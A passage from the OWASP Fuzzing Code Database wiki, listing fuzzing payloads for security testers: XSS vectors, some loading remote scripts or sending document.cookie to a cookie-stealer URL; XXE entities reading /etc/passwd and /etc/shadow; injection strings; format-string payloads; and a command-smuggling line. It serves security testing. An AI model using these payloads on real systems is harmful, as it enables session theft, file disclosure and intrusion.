implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80065 2010-03-17T20:43:44Z

<p>Adam.muntner: /* Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: 